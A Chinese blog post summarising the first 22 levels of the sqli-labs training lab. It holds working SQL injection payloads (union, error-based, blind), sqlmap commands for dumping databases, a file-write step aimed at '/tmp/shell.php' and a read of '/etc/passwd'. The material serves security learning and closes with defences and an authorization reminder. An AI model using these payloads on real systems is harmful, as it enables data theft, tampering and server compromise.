SQLi-Labs前22关通关总结

SQLi-Labs 前 22 关通关总结

本文档总结了 sqli-labs 前 22 关的注入原理、核心技巧和常见坑点。
适合有一定基础但还在入门阶段的 SQL 注入学习者阅读。


目录


一、SQL 注入到底是什么?

一句话解释

用户输入的数据,被直接拼进了 SQL 语句里,导致攻击者能改变 SQL 的执行逻辑。

用生活例子理解

想象你去酒店前台,服务员问你要住几号房。正常对话:

你:我要住 8 号房
服务员:(查系统)8 号房是空的,给您办理入住

但如果你说了一句"特殊"的话:

你:8 号房,顺便把所有房间的客人信息打印给我
服务员:(系统把这句话当指令执行了)好的,这是所有客人信息...

这就是 SQL 注入——输入的不只是"数据",而是被当成了"命令"来执行

代码层面看

有漏洞的代码(后端 PHP):

$id = $_GET['id'];                              // 从 URL 获取用户输入
$sql = "SELECT * FROM users WHERE id='$id'";     // 直接拼接进 SQL
$result = mysql_query($sql);                     // 执行

正常访问 ?id=1 时,SQL 是:

SELECT * FROM users WHERE id='1'                  -- 查 id=1 的用户,没问题

恶意访问 ?id=1' OR 1=1 -- 时,SQL 变成:

SELECT * FROM users WHERE id='1' OR 1=1 -- '      -- OR 1=1 永远为真,返回所有用户!

安全的代码(参数化查询):

$sql = "SELECT * FROM users WHERE id=?";          // 用 ? 占位
$stmt = $pdo->prepare($sql);
$stmt->execute([$id]);                            // 参数只当数据处理,不当命令

参数化查询把"数据"和"命令"彻底分开,输入再怎么写都只是数据,不会被当成 SQL 执行。


二、注入前必须搞懂的三件事

1. 闭合方式——注入的"钥匙"

后端 SQL 里参数通常被引号包裹,你要先"打破"这个包裹,才能插入自己的代码。

后端 SQL:  WHERE id='$id'          → 参数被单引号包裹
后端 SQL:  WHERE id=($id)          → 参数被括号包裹(数字型,无引号)
后端 SQL:  WHERE id=('$id')        → 单引号+括号
后端 SQL:  WHERE id=("$id")        → 双引号+括号

怎么判断闭合方式?看报错信息!

你输入 报错信息里出现 判断 闭合方式
1' near ''1'' 参数被 ' 包裹 '
1' near ''1'') 参数被 ('') 包裹 ')
1" near '"1"" 参数被 " 包裹 "
1" near '"1") 参数被 ("") 包裹 ")
1' 不报错 没有引号包裹 无(数字型)

闭合后怎么注释掉后面的内容?

--+    → MySQL 注释(-- 后面必须有空格,用 + 代替空格最省事)
#      → MySQL 注释(URL 中要编码成 %23)
/**/   → 内联注释

⚠️ -- 后面必须有空格才生效!-- 后面直接跟字符不会被当成注释。
--+ 最省事,不用纠结空格问题。

2. 列数——union 注入的"门槛"

UNION SELECT 要求前后两个查询的列数必须一致。你得先搞清楚原始查询有几列。

方法:ORDER BY 递增

?mid=1 ORDER BY 1 --+    → 正常(至少1列)
?mid=1 ORDER BY 2 --+    → 正常(至少2列)
?mid=1 ORDER BY 3 --+    → 正常(至少3列)
?mid=1 ORDER BY 4 --+    → 报错!说明只有3列

3. 回显位——数据显示在哪里

知道列数后,用 UNION SELECT 确认哪些列的数据会显示在页面上:

?id=-1' UNION SELECT 1,2,3 --+

页面显示 Login name: 2 Password: 3 → 第 2 列和第 3 列是回显位。

id=-1(不存在的 ID)是为了让原始查询返回空,这样页面只显示 union 的数据。


三、四大注入方式详解

方式一:Union 联合查询注入(最简单,最快)

适用条件:页面会显示查询结果(有回显位)

原理:用 UNION SELECT 拼接一个自己的查询,把数据"挂"在页面的回显位上。

通俗比喻:就像在快递包裹上贴了个假标签,把自己的包裹混进了正常配送流程。

完整流程

-- 第1步:探列数
?id=-1' UNION SELECT 1,2,3 --+

-- 第2步:爆库名
?id=-1' UNION SELECT 1,database(),3 --+

-- 第3步:爆表名(information_schema 是 MySQL 自带的信息库)
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+
-- 0x7365637572697479 是 'security' 的十六进制,绕过引号

-- 第4步:爆字段名
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name=0x7573657273 --+

-- 第5步:dump 数据
?id=-1' UNION SELECT 1,group_concat(username,0x7e,password),3 FROM users --+

常用函数

  • database() → 当前数据库名
  • version() → 数据库版本
  • current_user() → 当前用户
  • group_concat(x) → 把多行结果拼成一行显示(绕过只显示一条的限制)
  • 0x7e → 十六进制的 ~,当分隔符用

方式二:报错注入(没有回显位,但有报错)

适用条件:页面没有数据显示,但会显示 SQL 报错信息

原理:故意制造一个会报错的函数调用,把要查的数据藏在报错信息里。

通俗比喻:就像故意在考试卷子上写错答案,但错误信息里偷偷写上了你要的答案。老师(数据库)批改时把错误信息念出来了,你想要的答案也就暴露了。

核心函数

-- updatexml:第二个参数是 XPath 字符串,包含非法字符 ~ 就会报错
-- concat(0x7e, 你要的数据) 把数据拼进报错里
updatexml(1, concat(0x7e, database()), 1)
→ XPATH syntax error: '~security'
报错信息:XPATH syntax error: '~security'
                              ↑ 数据被带出来了!

payload 模板

-- 爆库名
?id=1' AND updatexml(1,concat(0x7e,database()),1) --+

-- 爆表名
?id=1' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=0x7365637572697479)),1) --+

-- dump 数据
?id=1' AND updatexml(1,concat(0x7e,(SELECT group_concat(username,0x7e,password) FROM users)),1) --+

⚠️ :updatexml 报错最多只返回 32 个字符!数据长了要用 substring() 分段:

substring((SELECT ... FROM users), 1, 32)   -- 取第1~32字符
substring((SELECT ... FROM users), 32, 32)  -- 取第32~63字符

方式三:布尔盲注(无回显,无报错,但有真假差异)

适用条件:页面不显示数据也不显示报错,但"条件为真"和"条件为假"时页面不同

原理:构造真/假条件,根据页面变化判断真假,一次猜一个字符。

通俗比喻:玩"猜数字"游戏。你问"比 5 大吗?",对方只回答是或不是。靠多次提问最终猜出答案。

判断方法

?id=1' AND 1=1 --+    → 页面正常显示(条件为真)
?id=1' AND 1=2 --+    → 页面异常/空白(条件为假)

两个页面有差异 → 可以布尔盲注。

逐字符提取数据

-- 判断库名长度
?id=1' AND length(database())=8 --+        → 页面正常 → 库名8个字符

-- 逐字符猜库名(二分法加速)
?id=1' AND ascii(substr(database(),1,1))>115 --+   → 真 → 第1个字符的ascii>115
?id=1' AND ascii(substr(database(),1,1))>120 --+   → 假 → 在115~120之间
-- 最终确定 ascii=115 → 字符 's' → 库名第1位是 s
-- 重复猜第2、3...位 → security

💡 技巧:用 二分法(ascii 值范围折半)比逐个字符遍历快约 5 倍。每个字符只需 ~7 次请求(2^7=128 覆盖 ASCII 范围),而非最多 95 次。

方式四:时间盲注(最无奈的方式)

适用条件:页面完全没有差异——不管条件真假,显示的内容一模一样

原理:用 SLEEP() 让数据库故意延迟,靠响应时间长短判断真假。

通俗比喻:你问朋友一个问题,如果答案是"是",他就沉默 5 秒再回答;如果答案是"否",立刻回答。你靠"等了多久"来判断答案。

核心 payload

-- 条件为真 → SLEEP 5秒 → 响应慢
-- 条件为假 → 不 SLEEP → 响应快
?id=1' AND if(1=1,sleep(5),0) --+     → 响应耗时 5 秒 → 真
?id=1' AND if(1=2,sleep(5),0) --+     → 响应耗时 0 秒 → 假

⚠️ :时间盲注是最慢的注入方式。每个字符要等几秒,提取完整数据可能需要几千个请求、几十分钟。能用布尔就不用时间。

四种方式的选择优先级

有回显位?  → Union 联合查询(最快,首选)
  ↓ 没有
有报错信息? → 报错注入(较快)
  ↓ 没有
页面有真假差异? → 布尔盲注(较慢)
  ↓ 没有
完全无差异? → 时间盲注(最慢,最后手段)

四、22 关分类速查表

按传参方式分类

关卡 传参方式 编码 后端语句 注入点 闭合 核心方法
1 GET - SELECT id ' union 回显
2 GET - SELECT id union 回显
3 GET - SELECT id ') union 回显
4 GET - SELECT id ") union 回显
5 GET - SELECT id ' 报错注入
6 GET - SELECT id " 报错注入
7 GET - SELECT id ')) 布尔盲注
8 GET - SELECT id ' 布尔盲注
9 GET - SELECT id ' 时间盲注
10 GET - SELECT id " 时间盲注
11 POST - SELECT uname ' union 回显
12 POST - SELECT uname ") union 回显
13 POST - SELECT uname ') 报错注入
14 POST - SELECT uname " 报错注入
15 POST - SELECT uname ' 布尔盲注
16 POST - SELECT uname ") 布尔盲注
17 POST - UPDATE passwd ' 报错注入+嵌套子查询
18 HTTP头 - INSERT User-Agent ' 报错注入+嵌套子查询
19 HTTP头 - INSERT Referer ' 报错注入+嵌套子查询
20 Cookie - SELECT uname ' union 回显
21 Cookie base64 SELECT uname ') union 回显
22 Cookie base64 SELECT uname " union 回显

按注入方式分类

注入方式 关卡 特征
Union 联合查询 1,2,3,4,11,12,20,21,22 页面有数据显示(有回显位)
报错注入 5,6,13,14,17,18,19 页面有 SQL 报错信息
布尔盲注 7,8,15,16 页面有真假差异
时间盲注 9,10 页面无任何差异,靠响应时间

GET 与 POST 的对应关系

前 10 关(GET)和 11~16 关(POST)原理完全一样,只是传参位置不同:

GET 关卡 POST 关卡 闭合 方法
Less-1 Less-11 ' union 回显
Less-4 Less-12 ") union 回显
Less-5 Less-13 ') 报错注入
Less-6 Less-14 " 报错注入
Less-8 Less-15 ' 布尔盲注
Less-10 Less-16 ") 布尔盲注

五、手工注入万能流程

遇到任何一个注入点,按这个流程走:

第1步:找注入点
    │  在参数后加 ' 或 " 看是否报错
    │
第2步:判闭合方式
    │  看报错信息里的引号和括号
    │  → 报错有 'xxx'    → 闭合 '
    │  → 报错有 'xxx')   → 闭合 ')
    │  → 报错有 "xxx"    → 闭合 "
    │  → 单引号不报错双引号报错 → 闭合 "
    │
第3步:验证注入
    │  闭合+注释后加 and 1=1 / and 1=2
    │  → 1=1 正常,1=2 异常 → 确认可注入
    │
第4步:判断有无回显
    │  ├─ 有回显位 → Union 联合查询(跳到第5a步)
    │  ├─ 有报错 → 报错注入(跳到第5b步)
    │  ├─ 有真假差异 → 布尔盲注(跳到第5c步)
    │  └─ 完全无差异 → 时间盲注(跳到第5d步)
    │
第5a步:Union 注入流程
    │  ORDER BY 探列数 → UNION SELECT 找回显位
    │  → database() 爆库名
    │  → information_schema 爆表名、字段名
    │  → FROM 表名 dump 数据
    │
第5b步:报错注入流程
    │  updatexml(1,concat(0x7e,database()),1)
    │  → 子查询爆表名、字段名
    │  → substring() 分段提取长数据
    │
第5c步:布尔盲注流程
    │  length(database())=N 判断长度
    │  → ascii(substr(database(),i,1))>M 二分法猜字符
    │  → 逐字符提取所有数据
    │
第5d步:时间盲注流程
    │  if(条件,sleep(5),0) 判断真假
    │  → 和布尔盲注类似的逐字符提取,但靠时间判断
    │
第6步:提权/后续利用
       写文件、读文件、提权等(超出前22关范围)

六、sqlmap 实战技巧

基础命令

# GET 注入
python sqlmap.py -u "http://target/?id=1" --batch --dbms=mysql

# POST 注入
python sqlmap.py -u "http://target/login" --data="uname=admin&passwd=admin" --batch --dbms=mysql

# 指定参数注入(-p)
python sqlmap.py -u "url" --data="uname=admin&passwd=admin" -p passwd --batch

# dump 数据
python sqlmap.py -u "url" --batch -D security -T users --dump

# dump 全库
python sqlmap.py -u "url" --batch --dump-all

常用参数

参数 作用 什么时候用
--level=3 提高测试级别 双引号闭合测不出来时(默认只测单引号)
--risk=2 提高风险级别 OR 注入、HAVING 注入等
--technique=B 只用布尔盲注 强制指定注入方式
--technique=E 只用报错注入 UPDATE/INSERT 语句
--string="flag.jpg" 指定真值标志 布尔盲注加速(关键技巧!)
--threads=4 多线程 加速数据提取(时间盲注不能用)
--dbms=mysql 指定数据库 跳过其他数据库测试,加速
-p passwd 指定注入参数 指定注入哪个参数
--tamper=space2comment 使用绕过脚本 遇到 WAF 时

level 参数详解

level 1(默认):测试单引号闭合,测试 GET/POST 参数
level 2       :额外测试 Cookie 注入
level 3       :额外测试双引号、括号闭合,测试 HTTP 头(User-Agent/Referer)
level 5       :全量测试

经验法则:默认 level=1 测不出来时,先加 --level=3 再试。

--string 加速布尔盲注(重要技巧)

sqlmap 默认会自己找页面真假差异,但有时差异很小(只是图片名不同),sqlmap 找不到。

# 手工找到差异后,用 --string 喂给 sqlmap
# 比如登录成功显示 flag.jpg,失败显示 slap.jpg

python sqlmap.py -u "url" --data="..." --technique=B --string="flag.jpg"
#                                                           ↑ 指定真值标志

不指定 --string:sqlmap 自己找差异 → 找不到 → 用时间盲注(慢 30 倍)
指定 --string:sqlmap 直接判断 → 布尔盲注(快 30 倍)


七、22 个坑点与教训

坑 1:-- 注释后面必须有空格(Less-1~22 通用)

❌ ...1) --          → -- 后面紧跟字符,MySQL 不认注释
✅ ...1) --+         → + 在 URL 中等于空格,注释生效
✅ ...1) --          → -- 后面有空格,注释生效
✅ ...1) #           → # 注释不需要空格(URL 编码 %23)

坑 2:sqlmap level=1 测不出双引号闭合(Less-4, Less-10, Less-12, Less-16, Less-22)

sqlmap 默认只测单引号。遇到双引号闭合的关卡,必须加 --level=3

坑 3:Less-7 的 -- 注释不生效

Less-7 中 --+ 不生效,必须用 #%23)。原因可能是后端对 -- 有特殊处理。

坑 4:updatexml 报错只返回 32 字符(Less-5, 6, 13, 14, 17, 18, 19)

-- 数据太长会被截断,必须用 substring 分段
substring((SELECT ...), 1, 32)   -- 第1段
substring((SELECT ...), 32, 32)  -- 第2段(重叠1字符防止漏字符)
substring((SELECT ...), 63, 32)  -- 第3段

坑 5:UPDATE 语句不能直接引用正在更新的表(Less-17)

-- ❌ 报错:You can't specify target table 'users' for update in FROM clause
SELECT username FROM users    -- UPDATE users 时子查询不能直接 from users

-- ✅ 绕过:嵌套一层子查询
SELECT username FROM (SELECT * FROM users) AS tmp

坑 6:UPDATE 注入会修改数据!(Less-17)

-- payload 用 # 注释掉了 WHERE 条件
UPDATE users SET password='你的payload#' WHERE username='Dumb'
                                              ↑ 被 # 注释掉了!
-- 结果:所有用户的密码都被修改了!

教训:在 UPDATE 注入中,你的 payload 同时也是 SET 的值,会修改数据库。实战中要小心。

坑 7:HTTP 头注入必须先登录(Less-18, 19)

User-Agent 和 Referer 的注入发生在登录成功后(后端在登录成功后 INSERT 这些头到数据库)。如果登录失败,注入代码不会被执行。

坑 8:布尔盲注的差异可能很小(Less-15, 16)

登录成功和失败的差异可能只是图片名不同(flag.jpg vs slap.jpg),响应长度差 46 字节。sqlmap 可能检测不到,需要用 --string="flag.jpg" 手动指定。

坑 9:时间盲注非常慢(Less-9, 10, 15, 16)

每个字符需要等几秒(SLEEP),13 条数据可能需要 30 分钟以上。能不用就不用。

坑 10:base64 编码不是保护(Less-21, 22)

# 后端先 base64 解码再拼入 SQL,攻击者只需先编码 payload
import base64
payload = "-1') UNION SELECT 1,database(),3#"
encoded = base64.b64encode(payload.encode()).decode()
# Cookie: uname=<encoded>

坑 11:单引号不报错不代表没注入(Less-2, Less-4, Less-6, Less-14)

数字型注入(无引号包裹)加单引号可能不报错。要同时测双引号和无引号。

坑 12:group_concat 绕过只显示一条的限制(通用)

-- 原始查询有 LIMIT 0,1,只显示一条
-- 用 group_concat 把多行拼成一行
SELECT group_concat(username,0x7e,password) FROM users
→ Dumb~Dumb,Angelina~I-kill-you,...

坑 13:十六进制绕过引号(通用)

-- 不能用引号时(或怕引号冲突),用十六进制代替字符串
WHERE table_schema=0x7365637572697479   -- 等价于 WHERE table_schema='security'
WHERE table_name=0x7573657273           -- 等价于 WHERE table_name='users'

坑 14:-1 让原始查询返回空(Union 注入通用)

?id=1' UNION SELECT ...     → 原始查询返回 id=1 的数据,可能覆盖 union 结果
?id=-1' UNION SELECT ...    → 原始查询返回空,页面只显示 union 的数据

坑 15:sqlmap 对 UPDATE/INSERT 的 dump 支持不好(Less-17, 18, 19)

sqlmap 可能返回全 NULL 或无法提取数据。这种情况需要手工报错注入。

坑 16:Less-17 的注入点在密码框而不是用户名框

用户名(uname)被 mysqli_real_escape_string 过滤了,但密码(passwd)没有。注入点在 passwd,且 uname 必须是真实存在的用户名。

坑 17:# 注释在 URL 中的编码

# 在 URL 中是片段标识符,必须编码成 %23
http://target/?id=1' #         → 浏览器会截断 # 后面的内容!
http://target/?id=1' %23       → 正确,# 被编码成 %23

坑 18:Windows 下 curl 的引号转义问题

Windows 命令行中双引号和单引号的转义和 Linux 不同,容易出问题。建议用 Python 脚本发请求,避免 shell 转义。

坑 19:响应长度差异可能只差几个字节(布尔盲注通用)

and 1=1 → 1492 字节
and 1=2 → 1446 字节(差 46 字节,就是一个图片标签的差异)

不能只看"页面是否完全空白",要精确对比响应长度。

坑 20:INSERT 语句的闭合用 and '1'='1 而不是 #(Less-18, 19)

-- INSERT 语句用 # 注释掉后面的列会导致列数不匹配报错
INSERT INTO uagents VALUES ('test'#, 'ip', 'user')  -- ❌ 列数不够

-- 用 and '1'='1 闭合后面的引号,保持列数正确
INSERT INTO uagents VALUES ('test' and payload and '1'='1', 'ip', 'user')  -- ✅

坑 21:sqlmap --string 指定的是"真"标志(Less-15, 16)

# ❌ 错误:指定了假值标志
--string="slap.jpg"

# ✅ 正确:指定真值标志(条件为真时出现的内容)
--string="flag.jpg"

坑 22:WebFetch 自动升级 HTTPS 导致请求失败

有些工具会把 HTTP 自动升级成 HTTPS,对于只支持 HTTP 的目标会报 SSL 错误。用 curl 或 Python 直接发 HTTP 请求可以避免。


八、核心知识点速记

MySQL 注入常用函数

函数 作用 示例
database() 当前数据库名 database() → security
version() 数据库版本 version() → 5.5.44
current_user() 当前用户 current_user() → root@localhost
user() 当前用户 同上
@@datadir 数据目录路径 /var/lib/mysql/
@@hostname 主机名
@@version_compile_os 操作系统
group_concat() 多行合并成一行 group_concat(username)
concat() 拼接字符串 concat(0x7e,database())
substr() 截取子串 substr(database(),1,1) → s
ascii() 字符转 ASCII 码 ascii('a') → 97
length() 字符串长度 length(database()) → 8
sleep() 延迟 N 秒 sleep(5)
if() 条件判断 if(1=1,sleep(5),0)
hex() 转十六进制 hex('A') → 41
updatexml() 报错注入 updatexml(1,concat(0x7e,数据),1)
extractvalue() 报错注入 extractvalue(1,concat(0x7e,数据))
into outfile 写文件 into outfile '/tmp/shell.php'
load_file() 读文件 load_file('/etc/passwd')

information_schema 三张关键表

-- 1. 查所有数据库
SELECT schema_name FROM information_schema.schemata;

-- 2. 查某个库的所有表
SELECT table_name FROM information_schema.tables WHERE table_schema='库名';

-- 3. 查某个表的所有字段
SELECT column_name FROM information_schema.columns WHERE table_name='表名';

闭合方式速查

后端 SQL 写法 闭合方式 示例 payload
WHERE id=$id 无(数字型) 1 UNION SELECT 1,2,3 --+
WHERE id='$id' ' 1' UNION SELECT 1,2,3 --+
WHERE id="$id" " 1" UNION SELECT 1,2,3 --+
WHERE id=('$id') ') 1') UNION SELECT 1,2,3 --+
WHERE id=("$id") ") 1") UNION SELECT 1,2,3 --+
WHERE id=(('$id')) ')) 1')) UNION SELECT 1,2,3 --+

注释符

注释符 URL 编码 注意事项
-- --+--%20 后面必须有空格
# %23 浏览器中 # 是片段标识符,必须编码
/**/ /**/ 内联注释,可替代空格

防御措施

措施 效果 说明
参数化查询 ✅ 彻底防御 数据和命令分离,首选方案
预编译语句 ✅ 彻底防御 PDO、PreparedStatement
输入过滤 ⚠️ 不彻底 可被绕过,不能单独依赖
WAF ⚠️ 辅助防御 可被绕过,作为补充手段
base64 编码 ❌ 无效 编码不是加密,轻松绕过
最小权限 ✅ 降低危害 数据库账号不给 FILE 权限等

附:22 关数据 dump 结果

所有 22 关的目标数据库都是 securityusers 表结构为 id, username, password,共 13 条数据:

id username password
1 Dumb Dumb
2 Angelina I-kill-you
3 Dummy p@ssword
4 secure crappy
5 stupid stupidity
6 superman genious
7 batman mob!le
8 admin admin
9 admin1 admin1
10 admin2 admin2
11 admin3 admin3
12 dhakkan dumbo
14 admin4 admin4

注:Less-17 的 UPDATE 注入意外修改了所有用户密码,导致后续关卡提取到的密码变成了 0 或 admin。这是 UPDATE 注入的副作用,也是重要的经验教训。


最后提醒:本文档用于授权的安全学习和实验。在实际渗透测试中,必须获得目标所有者的书面授权。未经授权的 SQL 注入是违法行为。

posted @ 2026-09-04 23:25  Awananhh  阅读(2)  评论(0)    收藏  举报